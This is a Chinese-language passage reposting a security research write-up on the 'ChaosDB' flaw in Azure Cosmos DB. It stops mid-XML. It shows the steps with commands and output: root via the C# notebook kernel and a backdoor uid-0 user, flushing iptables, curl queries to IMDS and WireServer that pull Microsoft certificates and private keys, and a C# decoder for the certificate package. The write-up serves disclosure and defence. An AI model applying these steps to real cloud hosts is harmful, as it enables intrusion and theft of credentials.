长亭百川云 - 文章详情

云安全案例18:黑客披露如何破解数以千计的 Azure 客户的数据库的细节

奶牛安全

69

2024-07-13

这是Wiz研究团队发现并披露的Azure ChaosDB漏洞的完整故事 ,我们能够完全不受限制地访问数千名 微软Azure客户的数据库。2021 年 8 月,我们向 微软 披露了Cosmos DB中的一个新漏洞,该漏洞最终使我们能够获取可用于管理服务的大量内部密钥。渗透过程大致如下:

  1. Azure Cosmos DB上设置Jupyter Notebook容器

  2. 运行任意C#代码获取root权限

  3. 删除在容器本地设置的防火墙规则以获得不受限制的网络访问

  4. 查询WireServer以获取有关已安装的扩展、证书及其对应私钥的信息

  5. 连接本地Service Fabric,列出所有正在运行的应用程序,获取其他客户数据库的主密钥

  6. 通过Internet访问多个区域的Service Fabric实例

在这篇文章中,我们将带您完成整个过程的每一步,直到我们甚至获得了Azure的一些管理访问权限。

揭开基础知识——什么是 Azure Cosmos DB?

据 微软称:

Azure Cosmos DB是一个用于现代应用程序开发的完全托管NoSQL数据库。毫秒级响应时间,具有自动和即时的可扩展性,保证在任何规模的速度。业务连续性通过SLA支持的可用性和企业级安全性得到保证。

Cosmos DB于 2017 年 5 月推出,是一种全球分布式数据库解决方案,被知名客户使用,包括许多财富 500 强公司。

Cosmos DB可以通过API密钥访问来进行读取、写入和删除操作,其权限可以由标准的Azure IAM管理。要对Cosmos DB实例执行任何操作,只需提供Cosmos DB端点和适当的API密钥(主密钥)。Cosmos DB帐户的主键相当于传统本地数据库中的根密码。

Cosmos DB 访问密钥和连接 URI

什么是 Jupyter notebook

Azure Cosmos DB实例带有一个嵌入式Jupyter Notebook容器,这是一个开源Web应用程序,允许创建和共享包含实时代码、方程式、可视化和叙述文本的文档. 基本上,这是一种使用代码表示数据的非常酷的方式。

Cosmos DB Jupyter Notebook,摘自微软官方文档

Jupyter Notebook容器提供终端访问和供不同编程语言(Python、C# 等)与 Cosmos DB 实例交互的接口。Cosmos DB帐户的凭据已在容器映像的环境变量中预先配置,以便通过SDK透明地使用和访问 。

错误 #1:Jupyter Notebook 本地权限提升 (LPE)

我们知道,根据设计,可以在Jupyter Notebook上执行任意代码。几分钟后,我们已经获得了root权限。如何?

当我们使用嵌入式 Jupyter终端或默认的Python3 Notebook时,我们的代码是以cosmosuser身份执行. 服务开发人员的意图似乎是在此接口中任何代码都将以cosmosuser身份执行.

以 cosmosuser 身份运行的 Python3 notebook

然而,当我们执行一些C#代码时,我们注意到它是以root权限执行的。

是的,我们也很惊讶。

似乎Jupyter Notebook支持的每种编程语言都有自己的“宿主”进程,负责执行用户提供的代码,并将输出传达给Web-UI。由于某些未知原因,C# 的宿主进程特别以root权限运行,这意味着任何C#代码也将以root身份执行。我们使用这种错误配置来提升在容器内的权限:在/etc/passwd文件中附加了一行,创建了一个uid=0gid=0的新用户,使用su命令切换到这个用户,并有效地被授予容器内的root权限。

使用 CSharp notebook执行提权有效负载

/etc/passwd 执行提权有效负载后

切换用户到添加的后门用户

错误 #2:不受限制的网络访问

iptables –F 就是全部了。

在获得root权限后,我们开始四处查看容器,除此之外,我们发出iptables命令来查看本地防火墙规则,以确定哪些可以访问,更有趣的是,哪些网络资源不能访问。

查看iptables规则,我们发现了这些所谓的禁止地址:

  1. 169.254.169.254, IMDS元数据服务

  2. 10.0.0.0/16 子网,一个我们不熟悉的内部子网

  3. 168.63.129.16, 另一个陌生的 IP 地址

为什么服务开发人员要配置这些特定的规则来阻止我们访问这些特定的IP地址? 这些防火墙规则是在容器上本地配置的,而我们当前以root身份运行的。因此,我们只是删除了规则(通过iptables -F),为这些被禁止的IP地址和一些更有趣的发现扫清了道路。

需要指出的是,在我们看来,执行这些防火墙规则的更安全方法是在Jupyter Notebook容器之外,黑客即使拥有root权限也无法绕过它们。

错误 #3:不是我们应得的证书,而是我们需要的证书

在我们通过之前的两个错误(Jupyter Notebook 本地提权和不受限制的网络访问)实现越狱之后,我们进行了一些网络侦察,访问之前禁止的 IP 地址。我们的看法是,如果开发人员明确试图阻止我们访问这些地址,那么我们绝对应该尝试访问它们。

访问禁止的 IP 地址 #1 – IMDS

169.254.169.254 是Azure元数据服务 (IMDS)。该服务保存有关当前运行的虚拟机实例的元数据,例如存储、网络配置 等。只需发送一个HTTP请求并获取每个虚拟机的唯一信息。我们发出了一个请求,并发现了一些有趣的事情:

  1. 我们的Azure环境设置为AzurePublicCloud,我们的订阅ID不是我们拥有的订阅。

  2. 我们osType设置为Windows,即使我们在Linux终端上运行Linux命令。

  3. 我们在10.0.0.0/16子网中有一个 IP 地址——根据我们刚刚删除的防火墙规则,我们不应该访问同一个子网。

把这些放在一起,我们意识到我们不是在查询我们容器的元数据服务,而是我们的宿主机的元数据服务,它似乎托管在某种共享环境 中!

root@notebook:/home/cosmosuser# curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq {  "compute": {    "azEnvironment": "AzurePublicCloud",    "customData": "",    "evictionPolicy": "",    "isHostCompatibilityLayerVm": "false",    "licenseType": "",    "location": "eastus",    "name": "CV2CW02_3",    "offer": "WindowsServer",    "osProfile": {      "adminUsername": "cosmosadmin",      "computerName": "CV2CW02000003",      "disablePasswordAuthentication": ""    },    "osType": "Windows",    "placementGroupId": "[REDACTED]",    "plan": {      "name": "",      "product": "",      "publisher": ""    },    "platformFaultDomain": "3",    "platformUpdateDomain": "3",    "priority": "",    "provider": "Microsoft.Compute",    "publicKeys": [],    "publisher": "MicrosoftWindowsServer",    "resourceGroupName": "eastus-cdb-ms-prod-eastus1-cs1",    "resourceId": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/virtualMachineScaleSets/CV2CW02/virtualMachines/3",    "securityProfile": {      "secureBootEnabled": "false",      "virtualTpmEnabled": "false"    },    "sku": "datacenter-core-2004-with-containers-smalldisk",    "storageProfile": {      "dataDisks": [        {          "caching": "None",          "createOption": "Empty",          "diskSizeGB": "128",          "image": {            "uri": ""          },          "lun": "0",          "managedDisk": {            "id": "/subscriptions/[REDACTED]/resourceGroups/EASTUS-CDB-MS-PROD-EASTUS1-CS1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_disk2_[REDACTED]",            "storageAccountType": "Premium_LRS"          },          "name": "CV2CW02_CV2CW02_3_disk2_[REDACTED]",          "vhd": {            "uri": ""          },          "writeAcceleratorEnabled": "false"        }      ],      "imageReference": {        "id": "",        "offer": "WindowsServer",        "publisher": "MicrosoftWindowsServer",        "sku": "datacenter-core-2004-with-containers-smalldisk",        "version": "19041.985.2105050408"      },      "osDisk": {        "caching": "ReadOnly",        "createOption": "FromImage",        "diffDiskSettings": {          "option": ""        },        "diskSizeGB": "30",        "encryptionSettings": {          "enabled": "false"        },        "image": {          "uri": ""        },        "managedDisk": {          "id": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",          "storageAccountType": "Premium_LRS"        },        "name": "CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",        "osType": "Windows",        "vhd": {          "uri": ""        },        "writeAcceleratorEnabled": "false"      },      "resourceDisk": {        "size": "4096000"      }    },    "subscriptionId": "[REDACTED]",    "tags": "federationName:cdb-ms-prod-eastus1-cs1;platformsettings.host_environment.service.platform_optedin_for_rootcerts:true",    "tagsList": [      {        "name": "federationName",        "value": "cdb-ms-prod-eastus1-cs1"      },      {        "name": "platformsettings.host_environment.service.platform_optedin_for_rootcerts",        "value": "true"      }    ],    "userData": "",    "version": "19041.985.2105050408",    "vmId": "[REDACTED]",    "vmScaleSetName": "CV2CW02",    "vmSize": "SQLG5_NP80s",    "zone": ""  },  "network": {    "interface": [      {        "ipv4": {          "ipAddress": [            {              "privateIpAddress": "10.0.1.60",              "publicIpAddress": ""            }          ],          "subnet": [            {              "address": "10.0.1.0",              "prefix": "24"            }          ]        },        "ipv6": {          "ipAddress": []        },        "macAddress": "[REDACTED]"      }    ]  }

访问禁止的 IP 地址 #3 – WireServer

google IP地址 168.63.129.16后,我们发现它是存在于每个Azure VM上的虚拟 IP 地址,称为WireServer

微软几乎不提供WireServer的官方文档。然而, IntezerPaul Litvak在研究它方面做得非常出色!查看他的博客文章 ,了解过去涉及Azure WireServer的漏洞。

我们了解到WireServer管理AzureVM的各个方面和功能,特别是每个Azure VM的扩展。扩展是Azure管理的软件应用程序,可以是Azure的日志分析代理等第一方软件,也可以是Azure支持的第三方软件,如Datadog。显然,为了安装和配置这些扩展,所有Azure VM都预装了两个代理之一,一个用于Windows,一个用于Linux。您可以将WireServer视为这些代理的后端,用于提供代理正常运行所需的任何信息。

回到适用于Linux 的 WireServer代理,也称为WA-AgentWA-Linux-Agent,我们意识到它是一个托管在GitHub上的开源项目https://github.com/Azure/WALinuxAgent 。因此,我们深入研究源代码以了解有关WireServer功能的更多信息。

了解 WireServer

可以使用HTTP查询WireServer,它有几个对我们的研究很有意义的端点:

1.Goal state: 本质上,代理需要查询端点的目录以获取不同的配置设置。可以下载任何Azure VM目标状态,以通过执行一个简单的cURL命令来获取特定于虚拟机的所有配置端点,如下面的代码片段所示。

2.ExtensionsConfig:顾名思义,ExtensionsConfig存储有关安装在VM上的所有扩展的信息。有时,这些配置包含敏感信息,例如硬编码密码或密钥,并且这些信息是加密的。

3.Certificates:在ExtensionsConfig中存储用于解密加密段的加密密钥。

为了获得关于我们机器的扩展的信息,我们首先执行了一个cURL命令来获取机器的目标状态。结果是底层虚拟机目标状态,包括它的ExtensionsConfig URL,我们随后也对其进行了查询。

查询目标状态

root@notebook:/home/cosmosuser# curl -s "http://168.63.129.16:80/machine/?comp=goalstate" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"<?xml version="1.0" encoding="utf-8"?><GoalState xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="goalstate10.xsd">  <Version>2012-11-30</Version>  <Incarnation>19</Incarnation>  <Machine>    <ExpectedState>Started</ExpectedState>    <StopRolesDeadlineHint>300000</StopRolesDeadlineHint>    <LBProbePorts>      <Port>16001</Port>    </LBProbePorts>    <ExpectHealthReport>FALSE</ExpectHealthReport>  </Machine>  <Container>    <ContainerId>82daf2f0-1c7a-45e5-9be6-<REDACTED></ContainerId>    <RoleInstanceList>      <RoleInstance>        <InstanceId>f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0</InstanceId>        <State>Started</State>        <Configuration>          <HostingEnvironmentConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=hostingEnvironmentConfig&amp;incarnation=19</HostingEnvironmentConfig>          <SharedConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=sharedConfig&amp;incarnation=19</SharedConfig>          <ExtensionsConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=extensionsConfig&amp;incarnation=19</ExtensionsConfig>          <FullConfig>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=config&amp;type=fullConfig&amp;incarnation=19</FullConfig>          <Certificates>http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=certificates&amp;incarnation=19</Certificates>          <ConfigName>f2a6f11f-ad20-4bb3-839f-<REDACTED>.20.f2a6f11f-ad20-4bb3-839f-<REDACTED>.20._CV2FI02_0.1.xml</ConfigName>        </Configuration>        <ServiceManagementInfo>          <SupportedVersions>http://168.63.129.16:80/ServiceManagement/?comp=versions</SupportedVersions>          <ManagementInfo>http://168.63.129.16:80/ServiceManagement/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f%2Dad20%2D4bb3%2D839f%<REDACTED>.%5FCV2FI02%5F0?comp=ManagementInfo</ManagementInfo>        </ServiceManagementInfo>      </RoleInstance>    </RoleInstanceList>  </Container>

获取扩展配置

root@notebook:/home/cosmosuser# curl -s "http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=config&type=extensionsConfig&incarnation=19" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"<?xml version="1.0" encoding="utf-8"?><Extensions version="1.0.0.0" goalStateIncarnation="19"><GuestAgentExtension xmlns:i="http://www.w3.org/2001/XMLSchema-instance">  <GAFamilies>    <GAFamily>      <Name>Win7</Name>    </GAFamily>    <GAFamily>      <Name>Win8</Name>      <Uris>        <Uri>https://zrd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>07.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r01a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r10a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r05a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>05.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://brd<REDACTED>04.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r09a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>09.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://zrd<REDACTED>r03a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>        <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>      </Uris>    </GAFamily>  </GAFamilies>  <Location>westus</Location>  <ServiceName>CRP</ServiceName></GuestAgentExtension><StatusUploadBlob statusBlobType="PageBlob">https://md-<REDACTED>.z13.blob.storage.azure.net/$system/CV2FI02_0.6eb0b152-261a-4bc7-89ae-<REDACTED>.status?sv=2018-03-28&amp;sr=b&amp;sk=system-1&amp;sig=MxCWbN<REDACTED>&amp;se=9999-01-01T00%3a00%3a00Z&amp;sp=w</StatusUploadBlob><Plugins>  <Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="3.20.60.1" location="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://brd<REDACTED>04.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />  <Plugin name="Microsoft.Azure.ServiceFabric.ServiceFabricNode" version="1.1.0.12" location="https://zrd<REDACTED>07.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" /></Plugins><PluginSettings>  <Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="3.20.60.1">    <RuntimeSettings seqNo="2">{  "runtimeSettings": [    {      "handlerSettings": {        "protectedSettingsCertThumbprint": "85FFC66A525E9A3D45597788B076B95356296E46",        "protectedSettings": "MIIB0AYJK<REDACTED>"      }    }  ]}</RuntimeSettings>  </Plugin>  <Plugin name="Microsoft.Compute.CustomScriptExtension" version="1.10.12">    <DependsOn dependencyLevel="1">      <DependsOnExtension handler="Microsoft.Azure.Security.Dsms.DsmsForWindows" />    </DependsOn>  </Plugin>  <Plugin name="Microsoft.Azure.Geneva.GenevaMonitoring" version="2.27.0.3">    <RuntimeSettings seqNo="2">{  "runtimeSettings": [    {      "handlerSettings": {        "publicSettings": {}      }    }  ]}</RuntimeSettings>  </Plugin>  <Plugin name="Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration" version="2.58.15">    <RuntimeSettings seqNo="2">{  "runtimeSettings": [    {      "handlerSettings": {        "publicSettings": {}      }    }  ]}</RuntimeSettings>  </Plugin></PluginSettings>

我们的 VM 有几个配置的扩展,包括:

  1. Microsoft.Azure.Security.Dsms.DsmsForWindows

  2. Microsoft.Azure.Geneva.GenevaMonitoring

  3. Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration

  4. Microsoft.Compute.CustomScriptExtension

  5. Microsoft.Azure.ServiceFabric.ServiceFabricNode

  6. Microsoft.Compute.CustomScriptExtension

这些扩展很可能安装在我们的主机(基于Windows的虚拟机)上,而不是我们的私有Linux容器上。下一个合乎逻辑的步骤是从这些配置中提取信息,并可能发现稍后可以在Cosmos DB环境中横向移动的密钥。

获取解密密钥

大多数扩展包含以下两个部分:

1.publicSettings:包含有关 VM 扩展和设置的一般信息的纯文本部分。

2.protectedSettings:包含有关 VM 扩展的敏感信息的加密部分。

硬编码凭据和/或敏感信息应该存储在扩展的protectedSettings部分中。那么代理是如何解密这些敏感数据的呢?它从哪里获得解密密钥?答案是证书端点。但是要获取用于解密的证书,代理首先需要采取额外的预防措施并提供将用于加密证书包的自签名传输证书。幸运的是,这个传输证书没有被服务器验证,这意味着我们可以提供我们自己的证书而不依赖于主机代理先前生成的任何证书。提供此公钥的方法是将其包含在x-ms-guest-agent-public-x509-cert标头中。

root@notebook:/home/cosmosuser# curl -s -H 'x-ms-agent-name: WALinuxAgent' -H 'x-ms-version: 2012-11-30' "http://168.63.129.16:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=certificates&incarnation=19&type=fullConfig" -v -H 'x-ms-cipher-name: DES_EDE3_CBC' -H 'x-ms-guest-agent-public-x509-cert: MIIDDTCCAf<REDACTED>VILecKTmgDgpm9K0='*   Trying 168.63.129.16...* TCP_NODELAY set* Connected to 168.63.129.16 (168.63.129.16) port 80 (#0)> GET /machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=certificates&incarnation=19&type=fullConfig HTTP/1.1> Host: 168.63.129.16> User-Agent: curl/7.58.0> Accept: */*> x-ms-agent-name: WALinuxAgent> x-ms-version: 2012-11-30> x-ms-cipher-name: DES_EDE3_CBC> x-ms-guest-agent-public-x509-cert: MIIDDTCCAf … redacted … ILecKTmgDgpm9K0=>< HTTP/1.1 200 OK< Content-Type: text/xml; charset=utf-8< Server: Microsoft-IIS/10.0< Date: Mon, 09 Aug 2021 15:14:13 GMT< Content-Length: 218769<{ [14133 bytes data]* Connection #0 to host 168.63.129.16 left intact<?xml version="1.0" encoding="utf-8"?><CertificateFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="certificates10.xsd">  <Version>2012-11-30</Version>  <Incarnation>19</Incarnation>  <Format>CertificatesBondPackage</Format>  <Data>Cw7XFjCCC1MGCSqGSIb3DQEHA6CCC0QwggtAAgECMYIBMDCCASwCAQKAFHLFPtEzNkHq9EbPS1vv8Xh+51+XMA0GCSqGSIb3DQEBAQUABIIBADsYzJwqOmvP154ZphyM... redacted ...RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmpUgRSAG8AbwB0AAAA</Data></CertificateFile>

到目前为止,每次我们查询证书端点(在任何其他服务中)时,我们总是获取以该Pkcs7BlobWithPfxContents格式编码的证书,如下图所示。这是一种证书包,加密内容只有与标头x-ms-guest-agent-public-x509-cert中提供的公钥匹配的私钥才能解密。

然而,当我们在Jupyter Notebook环境中执行完全相同的步骤时,我们获取到以另一种格式编码的证书 – Certificates Bond Package.

这是我们第一次遇到这种格式。不幸的是,我们用来执行解密标准格式的 OpenSSL 命令在这里不起作用。是时候启动我们的游戏并尝试解码这种格式了!

解码证书绑定包

我们在Google上搜索Certificate Bond Package格式没有得到答案:

怎么办?我们决定对WireServer的客户端、VM代理进行逆向工程。我们假设如果有任何东西知道如何解码这种格式,那么就是这些代理, 因为它们依赖这些信息来正常运行。

首先查看Linux代理,我们找不到任何关于神秘的Certificate Bond Package格式的参考。

继续研究Windows代理,我们知道根据IMDS元数据服务,即使我们在Linux容器中运行,我们的主机VM也是Windows VM。这意味着来自WireServer的所有响应都应由Windows代理处理,而不是Linux代理。这是我们需要继续的突破。

WA-Agent不同,Windows虚拟机代理(也称为Windows Azure Guest Agent.exe)不是开源的。但它是用C#编写的,所以我们可以很容易地将它反编译成类似于源代码的东西。有很多工具可以做到这一点——我们选择了ILSpy

这是WindowsAzureGuestAgent.exe一部分Microsoft.WindowsAzure.RoleContainer.dllILSpy视图 :

后面是WindowsAzureGuestAgent.exe一部分Microsoft.WindowsAzure.Security.CredentialsManagement.Package.dllILSpy视图:

最后,我们有了难以捉摸的CertificatesBondPackage格式及其处理代码。

使用Windows代理的现有功能,我们编写了一个简单的代码段来模拟代理对证书绑定包的解码,获取pkcs7文件格式的密钥 。

using Microsoft.Cis.Fabric.CertificateServices;using Microsoft.WindowsAzure.GuestAgent.CertificateManager;using Microsoft.WindowsAzure.Security.CredentialsManagement.Package;using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Security.Cryptography.X509Certificates;using System.Text;using System.Threading.Tasks;using Bond.IO;using Bond.IO.Unsafe;using RD.Security.Dsms;using Bond;using Bond.Protocols;namespace ConsoleApp2{    class Program    {        static void Main(string[] args)        {            byte[] cert = File.ReadAllBytes(@"cerificate_bond.bin");            InputBuffer input = new InputBuffer(cert);            ManagedCertificatesPackage managedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input, 1)).ManagedCertsPackage;            var managedCertData = managedCertsData.CertsData;            byte[] array = new byte[managedCertData.Count];            Array.Copy(managedCertData.Array, managedCertData.Offset, array, 0, managedCertData.Count);            byte[] data = array;            File.WriteAllBytes(@"ManagedCertsPackage.bin", data);            InputBuffer input2 = new InputBuffer(cert);            ArraySegment<byte> unmanagedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input2, 1)).UnmanagedCertsData;            var unmanagedCertData = unmanagedCertsData;            byte[] array2 = new byte[unmanagedCertData.Count];            Array.Copy(unmanagedCertData.Array, unmanagedCertData.Offset, array2, 0, unmanagedCertData.Count);            byte[] data2 = array2;            File.WriteAllBytes(@"UnmanagedCertsData.bin", data2);        }    }}

现在,在对Certificate Bond Package进行解码和解密后,我们希望得到两个密钥:一个私钥和一个用于加密和解密受保护设置的公钥。

实际上,我们取回了 25 把钥匙。

是的,25 个 微软 证书及其相应的私钥。

user@laptop:~/cosmos$ grep subject ManagedCertificates.pemsubject=CN = fabricsecrets.documents.azure.comsubject=CN = secrets-kek.documents.azure.comsubject=CN = computev2.internal.by.cosmos.azure.comsubject=CN = fe.internal-secrets.by.cosmos.azure.comsubject=CN = computev2.internal.by.cosmos.azure.comsubject=CN = fabric.westus1.cosmos.azure.comsubject=CN = computev2tomanagement.internal.cosmos.azure.comsubject=CN = metricsclient.geneva.core.windows.netsubject=CN = fe.internal-secrets.by.cosmos.azure.comsubject=CN = *.notebook.cosmos.azure.comsubject=CN = metricsclient.geneva.core.windows.netsubject=CN = fabric.westus1.cosmos.azure.comsubject=CN = /certificates/selfsigned/agentidcert/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>-by5prdapp04-f2a6f11f-ad20-4bb3-839f-<REDACTED>--/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>--by5prdapp04.fc.core.windows.net--f2a6f11f-ad20-4bb3-839f-<REDACTED>--uswest-dsms.dsms.core.windows.netsubject=CN = *.notebook.cosmos.azure.comsubject=CN = computev2tomanagement.internal.cosmos.azure.comsubject=CN = fabric.westus1.cosmos.azure.comsubject=CN = fabricsecrets.documents.azure.comsubject=CN = secrets-kek.documents.azure.comsubject=CN = fabricsecrets.documents.azure.comsubject=CN = computev2tomanagement.internal.cosmos.azure.comsubject=CN = secrets-kek.documents.azure.comsubject=CN = *.notebook.cosmos.azure.comsubject=CN = computev2.internal.by.cosmos.azure.comsubject=CN = fe.internal-secrets.by.cosmos.azure.comsubject=CN = metricsclient.geneva.core.windows.netuser@laptop:~/cosmos$ grep subject UnmanagedCertificates.pemsubject=DC = Windows Azure CRP Certificate Generator

Certificates Bond Package包含一堆我们可能不应该拥有的证书;我们将仔细研究这三个:

  1. fabricsecrets.documents.azure.com

  2. fabric.westus1.cosmos.azure.com

  3. *.notebook.cosmos.azure.com (仅此一项就可以让我们拦截托管在Windows VM上客户Jupyter Notebook的加密SSL流量...)

这些证书的合法用途是什么?

访问存储帐户和内部服务结构

回到ExtensionConfig,我们意识到ServiceFabricNode扩展在其公共设置中有一些有趣的信息:它包含机器的Service Fabric集群的集群端点,以及身份验证所需的证书的通用名称:

"publicSettings": {"clusterEndpoint":"https://westus.servicefabric.azure.com/runtime/clusters/83bd67e7-7bb1-4f4f-826f-<REDACTED>", ...snip... ,"certificate":{"commonNames":["fabric.westus1.cosmos.azure.com"],"x509StoreName":"My"}}

当我们从Google Chrome访问该clusterEndpoint URL时,系统会提示我们提供身份验证的客户端证书。我们得出结论,我们最好的选择是使用 我们之前从WireServer获得的fabric.westus1.cosmos.azure.com 证书,因为它在ServiceFabricNodeExtensionpublicSettings提及到.

我们得到的是一个巨大的XML格式的清单文件,其中包含大量集群信息,包括多个Azure存储帐户的连接字符串,可以使用我们ExtensionConfig的解密protectedSettings部分中的存储帐户密钥进行访问:

<Section Name="AzureBlobServiceFabricCrashDump"><Parameter Name="ConsumerType" Value="AzureBlobFolderUploader"/><Parameter Name="ContainerName" Value="fabriccrashdumps-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/><Parameter Name="DataDeletionAgeInDays" Value="28"/><Parameter Name="IsEnabled" Value="true"/><Parameter Name="ProducerInstance" Value="ServiceFabricCrashDump"/><Parameter Name="StoreConnectionString" Value="xstore:BlobEndpoint=https://kssf2q<REDACTED>.blob.core.windows.net/;TableEndpoint=https://kssf2q<REDACTED>.table.core.windows.net/;AccountName=kssf2q<REDACTED>;ProtectedAccountKeyName=StorageAccountKey1"/></Section><Section Name="AzureBlobServiceFabricEtw"><Parameter Name="ConsumerType" Value="AzureBlobEtwCsvUploader"/><Parameter Name="ContainerName" Value="fabriclogs-83bd67e7-7bb1-4f4f-826f-<REDACTED>"/><Parameter Name="DataDeletionAgeInDays" Value="28"/><Parameter Name="IsEnabled" Value="true"/><Parameter Name="ProducerInstance" Value="ServiceFabricEtlFile"/><Parameter Name="StoreConnectionString" 